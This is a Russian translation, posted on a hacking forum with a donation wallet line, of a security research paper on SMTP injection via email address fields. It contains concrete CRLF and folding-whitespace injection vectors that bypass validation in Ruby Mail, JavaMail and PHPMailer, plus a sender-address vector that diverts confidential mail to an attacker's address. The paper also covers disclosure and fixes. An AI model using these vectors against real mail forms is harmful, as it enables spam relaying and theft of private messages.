ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
1. Введение
SMTP Injection - это техника атаки, которая вводит контролируемые злоумышленником SMTP-команды в
данные, передаваемые из приложения (обычно веб-приложения) на SMTP-сервер для
рассылки спама.
Среди этого класса атак, техники, использующие манипулирование содержимым (тело сообщения или заголовок)
были опубликованы и известны в сообществе специалистов по безопасности. Работа Висенте Агилеры Диаса [1]
хорошо известна, а некоторые связанные с ней предыдущие исследования можно найти на странице WASC [2].
Компания Mitsui Bussan Secure Directions, Inc. (MBSD) провела исследование на эту тему, в частности, по методам атак с использованием поддельных адресов электронной почты получателей. Основная концепция этого типа атак упоминается в слайдах Insomnia [3] и, возможно, в других. Наш результат исследования, описанный в данной статье, пытается расширить возможности атак данного типа и показать некоторые примеры атак. В данной статье сначала описывается механизм атаки, а затем объясняются некоторые уязвимости примеры в почтовых библиотеках на Java, Ruby, PHP и других платформах.
2. Как работает атака
Ниже приведена обычная командная транзакция SMTP между SMTP-клиентом и сервером.
Код:
1: 220 test.mbsd.jp ESMTP Postfix↵
2: EHLO test↵
3: 250-test.mbsd.jp↵
4: 250-8BITMIME↵
5: (list of extensions follows)
6: MAIL FROM:<from@example.com>↵
7: 250 2.1.0 Ok↵
8: RCPT TO:<to@example.jp>↵
9: 250 2.1.5 Ok↵
10: DATA↵
11: 354 Please start mail input.↵
12: From: <from@example.com>↵
13: To: <to@example.jp>↵
14: Subject: test message↵
15: ↵
16: This is a test message.↵
17: Thanks!↵
18: .↵
19: 250 Mail queued for delivery.↵
20: QUIT↵
21: 221 Closing connection. Good bye.↵Теперь давайте посмотрим, как работает атака. Предположим, злоумышленник полностью контролирует адрес получателя. В этом сценарии злоумышленник предоставляет вектор, подобный следующему.
Код:
Normal value:
rcpt=to@example.jp
Manipulated:
rcpt=to@example.jp>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]Результирующая SMTP-транзакция показана ниже:
Код:
6: MAIL FROM:<from@example.com>↵
7: 250 2.1.0 Ok↵
8.1: RCPT TO:<to@example.jp>↵ ; attacker-injected part
8.2: DATA↵ ; is underlined
8.3: (message content)↵
8.4: .↵
8.5: QUIT↵
8.6: >↵
9: 250 2.1.5 Ok↵ ; response to 8.1
10: 354 Please start mail input.↵ ; response to 8.2
11: 250 Mail queued for delivery.↵ ; response to 8.4
12: 221 Closing connection. Good bye.↵ ; response to 8.5Хотя введенные выше команды (с 8.2 по 8.5) отправляются без ожидания ответ на предыдущую команду, все MTA, которые мы тестировали, такие как Postfix, Sendmail и MS Exchange соответственно приняли вводимые команды. Это происходит потому, что pасширение конвейерной обработки SMTP, позволяющее выполнять пакетные команды, включено по умолчанию на большинство MTA, включая вышеупомянутые три. Таким образом, введенное злоумышленником сообщение в адресе получателя обрабатывается сервером. Этот тип уязвимости может представлять собой реальную угрозу в формах запросов, формах регистрации участников или любых другое приложение, которое доставляет электронное письмо на указанный пользователем адрес электронной почты. Здесь стоит упомянуть, что традиционные векторы атак, такие как следующие, не работает в контексте SMTP Injection.
Код:
to@example.jp[CRLF]Cc: x@example.org3. Примеры уязвимостей
В этой главе описываются недавно обнаруженные уязвимости в библиотеках электронной почты. На сайте уязвимости уже исправлены в последних версиях программ.
3.1. Почта Ruby
Ruby's Mail" - это почтовая библиотека, используемая во фреймворке Ruby on Rails (ActionMailer) и других приложениях Ruby. Подтверждено, что Mail <= v2.5.3 подвержена атаке получателя, так как она не проверяет и не санирует адреса получателей. Таким образом, атаки, описанные в главе 2, могут быть применены к библиотекt без каких-либо изменений.
Код:
rcpt=to@example.jp>[CRLF]DATA[CRLF](message contentCRLF].[CRLF]QUIT[CRLF].Сама библиотека Mail не накладывает ограничения на длину адресов электронной почты, поэтому злоумышленник может отправить длинное спам-сообщение через адрес получателя, если нет ограничения со стороны приложения на стороне приложения. Эта уязвимость затрагивает только те приложения, в которых отсутствует проверка ввода. Обновление рекомендуется, так как Mail v2.6.0 и выше не подвержены этой атаке. Поскольку неуязвимые версии (v2.6.0 и выше) выпущены относительно недавно, в частности, после июня 2014 года, должно существовать более нескольких онлайн-приложений, полагающихся на уязвимые версии Mail (<= v.2.5.3).
3.2. JavaMail
JavaMail - это широко используемая библиотека электронной почты для Java-приложений, предоставляемая компанией Oracle. Это API в узком смысле, но производитель предоставляет эталонную реализацию, которую мы называем "JavaMail" в данной статье. Наше исследование обнаружило уязвимость в библиотеке JavaMail. В случае с JavaMail, поскольку библиотека проверяет заданные адреса получателей определенным образом, злоумышленнику необходимо обойти проверку валидацию, используя адрес с модифицированной частью строки в кавычках, как показано ниже.
Код:
rcpt=">[CRLF]RCPT TO:to@example.jp[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT [CRLF]"@mbsd.jpРезультирующая транзакция SMTP выглядит следующим образом:
Код:
6: MAIL FROM:<from@example.com>↵
7: 250 2.1.0 Ok↵
8.1: RCPT TO:<">↵
8.2: RCPT TO:to@example.jp↵
8.3: DATA↵
8.4: (message content)↵
8.5: .↵
8.6: QUIT↵
8.7: "@mbsd.jp>↵
9: 501 5.1.3 Bad recipient address syntax↵ ; response to 8.1
10: RSET↵
11: 250 2.1.5 Ok↵ ; response to 8.2
12: QUIT↵
13: 354 Please start mail input.↵ ; response to 8.3
14: 250 Mail queued for delivery.↵ ; response to 8.5Как вы можете видеть выше, JavaMail отправляет RSET и QUIT (#10, 12), чтобы завершить сеанс после получение ошибки (#9) в ответ на неверный адрес RCPT TO (#8.1). Тем не менее, введенное злоумышленником сообщение электронной почты доставляется в почтовый ящик жертвы только потому, что MTA просто обрабатывайте заданные команды последовательно сверху вниз. Как и Ruby Mail, JavaMail сам по себе не имеет ограничений по длине адресов электронной почты, поэтому более длинное сообщение может быть отправлено через длинный адрес получателя. MBSD сообщил об этой ошибке в Oracle в октябре 2015 года. исправление было помещено в 1.5.5-SNAPSHOT их репозитория исходного кода в течение недели. Быстрая реакция поставщика была несколько неожиданной, поскольку заголовок почты библиотеки Ошибка внедрения, о которой сообщил Александр Херцог из Compass Security в январе 2014 года. В любом случае нужно обновление до последней версии и реализация проверки на стороне приложения, если вы знаете, что проверка вашего приложения плохо реализовано. Обратите внимание, что эта атака успешна только в том случае, если в приложении отсутствует надлежащая проверка ввода при которой поставщик, в ответ на наш отчет, предположил необходимость проверки ввода на стороне приложения, прежде чем передавать такие данные в библиотеку, потому что библиотечный метод проверки адресов электронной почты может не выявить все возможные ошибки.
3.3. PHPMailer
PHPMailer — это библиотека для отправки электронной почты для PHP . Уникальность этой библиотеки в том, что она пытается проверить заданные адреса получателей строго в соответствии с RFC 5322, применяя невероятно сложный фильтр регулярных выражений по адресам:
PHP:
preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);Поэтому злоумышленник должен предоставить адрес, соответствующий RFC-5322, для выполнения атаки. что является препятствием, которое трудно, но не невозможно преодолеть при определенных обстоятельствах. Ниже приведен вектор, который мы создали, чтобы обойти фильтр.
Код:
rcpt=([CRLF][SP]RCPT TO:to@example.jp[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]
Hello, this is a spam mail...\[LF].[CRLF][SP]QUIT[CRLF][SP]) a@mbsd.jpВы можете найти две формы разрывов строк в векторе. Одной из форм является «[CRLF][SP]», которая называется FWS (Folding White Space) в RFC 5322 и его старые эквиваленты. Как следует из названия, это выражение просто складывается в линию. Другая форма разрывов строк — «\[LF]», которая в том же RFC называется obs-qp. Несмотря на то что это устаревшее выражение, как указывает префикс, несколько библиотек, включая PHPMailer по-прежнему разрешать его появление в адресах электронной почты.
Код:
6: MAIL FROM:<from@example.com>↵
7: 250 2.1.0 <from@example.com>... Sender ok↵
8.1: RCPT TO:<(↵
8.2: [SP]RCPT TO:to@example.jp↵
8.3: [SP]DATA \↵
8.4: Subject: spam10\↵
8.5: ↵
8.6: [SP]Hello, this is a spam mail...\↵
8.7: .↵
8.8: [SP]QUIT↵
8.9: [SP]) a@mbsd.jp>↵
9: 553 5.0.0 <(... Unbalanced '('↵ ; response to 8.1
10: 250 2.1.5 to@example.jp... Recipient ok↵ ; response to 8.2
11: 354 Enter mail, end with "." on a line by itself↵ ; response to 8.3
12: 250 2.0.0 xxx Message accepted for delivery↵ ; response to 8.7
13: QUIT↵Описанная выше операция является «нерегулярной» по двум причинам. Во-первых, она содержит команды, такие как "[SP]RCPT TO" в #8.2, а другой состоит в том, что она содержит команду за которой следует обратная косая черта "[SP]DATA \" в #8.3. Подтверждено, что прежняя команда с начальным пробелом нормально интерпретируется в Postfix. и Sendmail, а за последней командой также следует обратная косая черта в Sendmail. Этот конкретный вектор работает на Sendmail (он работает на Postfix с небольшим модификация), и, следовательно, электронная почта, внедренная злоумышленником, доставляется на почтовый ящик жертвы. Обратите внимание, что, как правило, когда MTA ретранслируют электронную почту на следующий сервер, мусорные части, такие как начальные пробелы и последующие обратные косые черты удаляются. Таким образом, ограничение на МТА тип продукта применяется только к тем, с которыми непосредственно общается клиентская библиотека SMTP. MBSD сообщил об этой ошибке поставщику Synchromemedia в ноябре 2015 года. выпустила исправленную версию (v5.2.14) в течение нескольких дней после получения уведомления. Рекомендуется использовать последнюю версию, как и другие уже упомянутые продукты. В этой атаке некоторые MTA, а именно Sendmail и Postfix, также можно сказать "чрезмерно" допустимы или даже не соответствующие стандарту. Тем не менее, мы считаем, что вина больше на стороне SMTP-клиента, который отправляет вводящие в заблуждение команды на MTA, чем на сторона МТА. Здесь следует еще раз подчеркнуть, что появляется разрыв строки совместимо с RFC 5322, если он представляет собой FWS или obs-qp. FWS и obs-qp могут появиться в комментарий, строке в кавычках и некоторые другие частях адреса электронной почты. Тем временем SMTP стандарт RFC 5321 вообще не допускает разрывов строк. Для пояснения ключевые различия между двумя RFC показаны в таблице ниже:
| RFC 5321 Simple Mail Transfer Protocol | RFC 5322 Internet Message Format | |
| Объем спецификации | SMTP, конверт почтового объекта | Содержимое почтового объекта |
| Контекст адреса электронной почты | SMTP-команды, MAIL FROM и RCPT TO | Заголовки контента, От, до и так далее |
| Разрывы строк адрес электронной почты | Not allowed | Разрешено в
|
По сути, адреса электронной почты, передаваемые командам SMTP, должны быть проверены в соответствии с RFC 5321, но не RFC 5322. Однако, как видно из ошибки PHPMailer, путаница между двумя RFC часто встречаются в клиентских библиотеках SMTP. Другие платформы, упомянутые в этой главе, а именно Ruby's Mail, JavaMail и PHPMailer, не единственные, на кого влияет атака на получателя. В ходе нашего тестирования на проникновение за последние несколько лет MBSD обнаружил еще два веб-приложения с использованием PHP и CGI (язык программирования неизвестен), в которых были наиболее уязвимы базовая форма атаки получателя, описанная в главе 2. Мы не уверены, какие именно библиотеки использовались в этих уязвимых приложениях, поскольку они были обнаружены во время наших тестов черного ящика. Мы предполагаем, что они использовали внутренние пользовательские библиотеки или второстепенные; потому что мы обнаружили, что многие крупные библиотеки электронной почты по крайней мере попытаться проверить адреса электронной почты тем или иным образом, даже если проверка может быть ошибочной, как показано в этой главе. В любом случае, учитывая возможность использования приложениями плохо написанных библиотек, тест безопасности этого типа стоит выполнять независимо от платформы, на которой приложения работают.
4. Возможность дальнейшей атаки
В этой главе обсуждаются некоторые темы, способствующие атаке получателя. Обратите внимание, что методы или идеи, описанные здесь, в основном являются теоретическими и никогда не применялись.
4.1. FWS-атака
Как описано в разделе 3.3, адреса электронной почты, соответствующие RFC 5322, могут содержать два типа разрывы строк, которые являются obs-qp и FWS. Obs-qp редко принимается почтовыми библиотеками, в то время как FWS чаще принимается. Поэтому в этом разделе обсуждаются атаки с использованием только FWS. Первой целью атаки является класс «SmtpClient» ASP.NET v4.0.30319, последняя версия на момент это письмо. Это встроенный класс, обычно используемый для доставки электронной почты по протоколу SMTP в приложениях .NET. Давайте посмотрим на вектор атаки, который представляет собой адрес, соответствующий RFC-5322, содержащий FWS.
Код:
rcpt="xx[CRLF][SP]RCPT TO:to@example.jp[CRLF][SP]DATA[CRLF][SP]zz"@mbsd.jp
Код:
8.1: RCPT TO:<"xx↵
8.2: [SP]RCPT TO:to@example.jp↵
8.3: [SP]DATA↵
8.4: [SP]zz"@mbsd.jp>↵
9: 501 5.1.3 Bad recipient address syntax↵ ; response to 8.1
10: 250 2.1.5 Ok↵ ; response to 8.2
11: 354 Please start mail input.↵ ; response to 8.3Начальные пробелы команд просто игнорируются Postfix и Sendmail, как объяснено в предыдущей главе. Таким образом, вводимые команды интерпретируются сервером по мере того, как вы можно увидеть выше. Однако, если говорить только о конечном результате, мы не смогли добиться полной эксплуатации этого - ошибка в нашем исследовании. Причина в том, что раздел DATA требует "[CRLF].[CRLF]" в своем конец, но такая последовательность отвергается проверкой SmtpClient. Кроме того, ни Postfix ни Sendmail не интерпретирует "[CRLF][SP].[CRLF]" как конец раздела. Это означает, что в атаке с помощью только FWS нельзя завершить раздел DATA (напомним, в атаке PHPMailer мы объединили FWS и obs-qp для завершения раздела DATA). Еще одна команда, которую мы пробовали, это «BDAT», необязательная команда SMTP, определенная в 10 RFC 3030. Это команда, похожая на DATA, но отличающаяся от нее с точки зрения BDAT требует точки в конце. Однако команда, похоже, поддерживается только MS Exchange, который не принимает начальные пробелы. Следовательно, пока последние версии трех основных MTA (Postfix, Sendmail и MS Exchange), неправильное поведение этого SmtpClient вряд ли можно использовать для целях рассылки спама. Более того, в настоящее время нам неизвестно о других МТА, затронутых ошибкой.
Такое поведение не относится к классу SmtpClient .NET. Такое же поведение наблюдается в команде sendmail (v8.15.2, когда адрес получателя задается из командной строки аргумент) и Swift Mailer (v5.4.1, почтовая библиотека PHP). Они проходят RFC-5322-совместимый адрес для SMTP-команды «RCPT TO» как есть, даже если адрес содержит FWS. Но их баг вряд ли можно эксплуатировать так же, как баг SmtpClient. В любом случае от этих библиотек ожидается прежде всего нормализация адрес электронной почты, заменив каждое вхождение FWS на SP или для проверки адреса электронной почты. передается командам SMTP в соответствии с RFC 5321, а не RFC 5322.
4.2. Атака без CRLF
Один из сотрудников автора, Тосицугу Ёнеяма, обнаружил интересное поведение старой версии Postfix. Он обнаружил, что когда дается слишком длинная команда, Postfix разбивает командную строку на фрагменты длиной не более 2048 байт, а затем обрабатывает каждый фрагмент как отдельную команду. Это предполагает возможность атаки SMTP Injection без CRLF, специфичной для Postfix.
Однако оказалось, что эту идею нельзя использовать для спам-атак из-за препятствий «[CRLF].[CRLF]», именно с этим мы столкнулись в описанной атаке FWS. в предыдущем разделе.
Мы попытались совместить это расщепление с атакой FWS, но то, что было возможно в конец отправляло электронное письмо с пустым содержимым, которое совершенно бесполезно с точки зрения спамера. Это связано с тем, что разделение не происходит в содержимом сообщения внутри раздела DATA. Затем ".[CRLF][SP]" нужно поставить сразу после команды DATA с завершающим пробелы, чтобы изящно завершить раздел DATA.
Это поведение Postfix не может быть воспроизведено в более новых версиях. Например, нельзя воспроизводится в v2.10.1 (последняя версия в официальных пакетах RPM для CentOS 7.x), а может быть в v2.6.6 (что для CentOS 6.x). Это указывает на то, что было сделано определенное изменение где-то между двумя версиями, предположительно в версии 2.9.0, в которой появился флаг (SMTP_GET_FLAG_SKIP), чтобы пропустить слишком длинную часть команды. Противодействием этой атаке является ограничение длины адресов электронной почты в соответствии с раздел 4.5.3 RFC 5321 [15] или обновление Postfix.
4.3. Разрывы строк для SMTP-серверов
В RFC 5321 четко указано, что только CRLF является разделителем командной строки SMTP. Другими словами, в командной строке не должно быть ни одного символа LF или CR. Также не должно интерпретироватся как разделитель получателем команды. Во время исследования ни в одном из трех протестированных нами MTA (Postfix, Sendmail и Exchange) не было обнаружено, что одиночный CR рассматривается как разделитель. Ни VT (Vertical Tab, 0x0B), ни FF (Подача формы, 0x0C). Однако было подтверждено, что Postfix и Sendmail рассматривают LF как разделитель против текста RFC, тогда как MS Exchange соответствует тексту. Это несоответствие Postfix и Sendmail может привести к уязвимости, если оба приложение и клиентская библиотека SMTP правильно обрабатывают только CRLF. Однако мы не смогли найти любой реалистичный пример того, что это несоответствие приводит к уязвимости, потому что многие библиотеки которые правильно обрабатывают CRLF, похоже, делают то же самое и для одиночного LF.
5. Атака на адрес отправителя
Хотя в этом документе основное внимание уделяется адресам электронной почты получателей, адрес отправителя в «MAIL FROM", очевидно, может быть целью инъекции. При выполнении теста, нацеленного на адрес отправителя, все основные SMTP-команды должны появляться по порядку и без пропусков в результирующей SMTP-транзакции. Это означает, что векторы атаки нуждаются в модификации.
Код:
Vector for recipient
rcpt=to@example.jp>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]
Vector for sender
sndr=from@example.jp>[CRLF]RCPT TO:attacker@example.org[CRLF]DATA[CRLF]Последний вектор предназначен для замены исходного адреса получателя на адрес злоумышленника путем предоставление созданного адреса отправителя. Результирующая SMTP-транзакция показана ниже:
Код:
6.1: MAIL FROM:<from@example.com>↵
6.2: RCPT TO:attacker@example.org↵
6.3: DATA↵
6.4: >↵
7: 250 2.1.0 Ok↵ ; response to 6.1
8: 250 2.1.0 Ok↵ ; response to 6.2
9: 354 Please start mail input.↵ ; response to 6.3
10: RCPT TO:<original recipient address>↵
11: DATA↵
12: (original confidential message content)↵
13: .↵
14: 250 Mail queued for delivery.↵ ; response to 13
15: QUIT↵
16: 221 Closing connection. Good bye.↵ ; response to 15В результате, только манипулируя адресом отправителя, злоумышленник получает электронное письмо. сообщение, содержащее исходное содержимое конфиденциального сообщения:
Код:
> ; input 6.4
RCPT TO:<original recipient address> ; input 10
DATA ; input 11
(original confidential message content) ; input 12Конечно, злоумышленник также может использовать эту ошибку для рассылки спама, просто добавив строку вида "(спам-контент)[CRLF].[CRLF]QUIT[CRLF]" в конце.
6. Заключение
В этом документе объясняется, как работает атака SMTP Injection через специально созданное электронное письмо получателя и показаны примеры уязвимых SMTP-клиентов и возможных дальнейшие атаки. Противодействие этой атаке состоит в том, чтобы гарантировать, что адрес электронной почты, передаваемый в «RCPT командой TO" соответствует RFC 5321 с точки зрения синтаксиса и длины. Синтаксическое правило: определено в разделе 4.1.2 RFC, а ограничение длины указано в разделе 4.5.3.1. Конечно, немного более смягченное правило может быть вариантом, так как небольшая часть существующих и фактически используемых известно, что адреса не соответствуют стандарту. Само собой разумеется, когда смягченное правило не допускает использование адресов, содержащих разрывы строк. Обратите внимание, что в отношении действительного формата адреса электронной почты путаница между RFC 5321 и 5322 иногда наблюдается; однако на RFC 5321 следует ссылаться в контексте SMTP. Современные клиентские библиотеки SMTP желательно оборудовать своего рода механизмом проверки, но это не означает, что разработчики веб-приложений должны не выполнять проверку самостоятельно. В любом случае приложение безопасно, т.к. пока либо библиотека, либо само приложение выполняет надлежащую проверку.
